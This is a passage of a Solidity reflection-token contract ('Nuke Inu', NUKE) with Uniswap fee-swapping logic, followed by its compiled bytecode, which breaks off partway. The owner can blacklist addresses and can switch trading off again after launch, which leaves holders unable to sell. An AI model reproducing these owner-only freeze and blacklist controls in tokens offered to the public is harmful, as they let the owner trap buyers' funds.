uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require( _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d66565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e37565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e8f565b61087b565b6040516102649190612eea565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f64565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f8e565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fa9565b6108d0565b6040516102f79190612eea565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b6040516103229190612f8e565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613018565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b6040516103789190613042565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061305d565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130b6565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c919061305d565b610bf2565b60405161041e9190612f8e565b60405180910390f35b34801561043357600080fd5b5061043c610c43565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e3565b610d96565b005b34801561047357600080fd5b5061047c610e46565b6040516104899190612f8e565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b4919061305d565b610e4c565b6040516104c69190612f8e565b60405180910390f35b3480156104db57600080fd5b506104e4610e64565b6040516104f19190613042565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130b6565b610e8d565b005b34801561052f57600080fd5b50610538610f3e565b6040516105459190612f8e565b60405180910390f35b34801561055a57600080fd5b50610563610f44565b6040516105709190612e37565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e3565b610f81565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613110565b611020565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e8f565b611179565b6040516105ff9190612eea565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a919061305d565b611197565b60405161063c9190612eea565b60405180910390f35b34801561065157600080fd5b5061065a6111b7565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d2565b611231565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613232565b61136b565b6040516106b99190612f8e565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e3565b6113f2565b005b3480156106f757600080fd5b50610712600480360381019061070d919061305d565b611491565b005b61071c611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132be565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132de565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061333c565b9150506107ac565b5050565b60606040518060400160405280600881526020017f4e756b6520496e75000000000000000000000000000000000000000000000000815250905090565b600061088f610888611653565b848461165b565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611826565b61099e846108e9611653565b61099985604051806060016040528060288152602001613ea160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f611653565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ab9092919063ffffffff16565b61165b565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e6611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a906132be565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad6611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a906132be565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc1611653565b73ffffffffffffffffffffffffffffffffffffffff1614610be157600080fd5b6000479050610bef8161210f565b50565b6000610c3c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b565b9050919050565b610c4b611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccf906132be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d9e611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e22906132be565b60405180910390fd5b674563918244f40000811115610e4357806015819055505b50565b60155481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610e95611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f19906132be565b60405180910390fd5b806014806101000a81548160ff02191690831515021790555050565b60165481565b60606040518060400160405280600481526020017f4e554b4500000000000000000000000000000000000000000000000000000000815250905090565b610f89611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d906132be565b60405180910390fd5b8060178190555050565b611028611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac906132be565b60405180910390fd5b600082101580156110c75750600e8211155b611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fd906133f7565b60405180910390fd5b600081101580156111185750600e8111155b611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e90613489565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061118d611186611653565b8484611826565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f8611653565b73ffffffffffffffffffffffffffffffffffffffff161461121857600080fd5b600061122330610bf2565b905061122e816121e9565b50565b611239611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd906132be565b60405180910390fd5b60005b838390508110156113655781600560008686858181106112ec576112eb6132de565b5b9050602002016020810190611301919061305d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135d9061333c565b9150506112c9565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113fa611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e906132be565b60405180910390fd5b8060168190555050565b611499611653565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151d906132be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d9061351b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c2906135ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561173b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117329061363f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118199190612f8e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d906136d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fd90613763565b60405180910390fd5b60008111611949576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611940906137f5565b60405180910390fd5b611951610e64565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119bf575061198f610e64565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611daa5760148054906101000a900460ff16611a4c576119de610e64565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4290613887565b60405180910390fd5b5b601554811115611a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a88906138f3565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b355750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b90613985565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c215760165481611bd684610bf2565b611be091906139a5565b10611c20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1790613a6d565b60405180910390fd5b5b6000611c2c30610bf2565b9050600060175482101590506015548210611c475760155491505b808015611c615750601460159054906101000a900460ff16155b8015611cbb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd35750601460169054906101000a900460ff165b8015611d295750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d7f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611da757611d8d826121e9565b60004790506000811115611da557611da44761210f565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e515750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f045750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f035750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f125760009050612099565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fbd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fd557600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120805750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209857600a54600c81905550600b54600d819055505b5b6120a584848484612471565b50505050565b60008383111582906120f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ea9190612e37565b60405180910390fd5b50600083856121029190613a8d565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612177573d6000803e3d6000fd5b5050565b60006006548211156121c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b990613b33565b60405180910390fd5b60006121cc61249e565b90506121e181846124c990919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222157612220612bc5565b5b60405190808252806020026020018201604052801561224f5781602001602082028036833780820191505090505b5090503081600081518110612267576122666132de565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561230957600080fd5b505afa15801561231d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123419190613b68565b81600181518110612355576123546132de565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123bc30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461165b565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612420959493929190613c8e565b600060405180830381600087803b15801561243a57600080fd5b505af115801561244e573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b8061247f5761247e612513565b5b61248a848484612556565b8061249857612497612721565b5b50505050565b60008060006124ab612735565b915091506124c281836124c990919063ffffffff16565b9250505090565b600061250b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612797565b905092915050565b6000600c5414801561252757506000600d54145b1561253157612554565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612568876127fa565b9550955095509550955095506125c686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ac90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a78161290a565b6126b184836129c7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161270e9190612f8e565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea00000905061276b683635c9adc5dea000006006546124c990919063ffffffff16565b82101561278a57600654683635c9adc5dea00000935093505050612793565b81819350935050505b9091565b600080831182906127de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d59190612e37565b60405180910390fd5b50600083856127ed9190613d17565b9050809150509392505050565b60008060008060008060008060006128178a600c54600d54612a01565b925092509250600061282761249e565b9050600080600061283a8e878787612a97565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120ab565b905092915050565b60008082846128bb91906139a5565b905083811015612900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f790613d94565b60405180910390fd5b8091505092915050565b600061291461249e565b9050600061292b8284612b2090919063ffffffff16565b905061297f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ac90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129dc8260065461286290919063ffffffff16565b6006819055506129f7816007546128ac90919063ffffffff16565b6007819055505050565b600080600080612a2d6064612a1f888a612b2090919063ffffffff16565b6124c990919063ffffffff16565b90506000612a576064612a49888b612b2090919063ffffffff16565b6124c990919063ffffffff16565b90506000612a8082612a72858c61286290919063ffffffff16565b61286290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab08589612b2090919063ffffffff16565b90506000612ac78689612b2090919063ffffffff16565b90506000612ade8789612b2090919063ffffffff16565b90506000612b0782612af9858761286290919063ffffffff16565b61286290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b335760009050612b95565b60008284612b419190613db4565b9050828482612b509190613d17565b14612b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8790613e80565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bfd82612bb4565b810181811067ffffffffffffffff82111715612c1c57612c1b612bc5565b5b80604052505050565b6000612c2f612b9b565b9050612c3b8282612bf4565b919050565b600067ffffffffffffffff821115612c5b57612c5a612bc5565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c9c82612c71565b9050919050565b612cac81612c91565b8114612cb757600080fd5b50565b600081359050612cc981612ca3565b92915050565b6000612ce2612cdd84612c40565b612c25565b90508083825260208201905060208402830185811115612d0557612d04612c6c565b5b835b81811015612d2e5780612d1a8882612cba565b845260208401935050602081019050612d07565b5050509392505050565b600082601f830112612d4d57612d4c612baf565b5b8135612d5d848260208601612ccf565b91505092915050565b600060208284031215612d7c57612d7b612ba5565b5b600082013567ffffffffffffffff811115612d9a57612d99612baa565b5b612da684828501612d38565b91505092915050565b600081519050919050565b60008282526020